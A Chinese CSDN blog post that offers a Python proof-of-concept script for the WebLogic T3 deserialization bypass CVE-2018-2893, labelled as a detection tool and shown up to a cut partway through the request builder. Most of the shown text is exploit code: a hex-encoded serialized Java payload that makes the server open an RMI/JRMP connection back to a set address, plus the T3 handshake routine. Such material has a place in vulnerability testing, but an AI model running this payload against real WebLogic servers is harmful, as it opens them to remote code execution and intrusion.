WebLogic T3 反序列化绕过漏洞(CVE-2018-2893)检测POC

最新推荐文章于 2024-08-12 10:54:33 发布

「已注销」

最新推荐文章于 2024-08-12 10:54:33 发布

阅读量6.9k

点赞数 3

分类专栏： web安全文章标签： python 终端命令

本文链接：https://blog.csdn.net/qq_41514928/article/details/83108495

版权

该博客介绍了WebLogic T3反序列化绕过漏洞（CVE-2018-2893）的检测过程，提供了一种检测POC的使用方法。

摘要由CSDN通过智能技术生成

WebLogic T3 反序列化绕过漏洞(CVE-2018-2893)检测POC

#!env python
# -*- coding: utf-8 -*-
import socket
import time
import re
import sys

VUL=['CVE-2018-2893']
#remote ip changed to :127.0.0.1
PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878']

VER_SIG=['StreamMessageImpl']

def t3handshake(sock,server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    data = sock.recv(1024)
    #print data
    print 'handshake successful'

def buildT3RequestObject(sock,port):
    data1 = '000005c3016501ffffffffffffffff0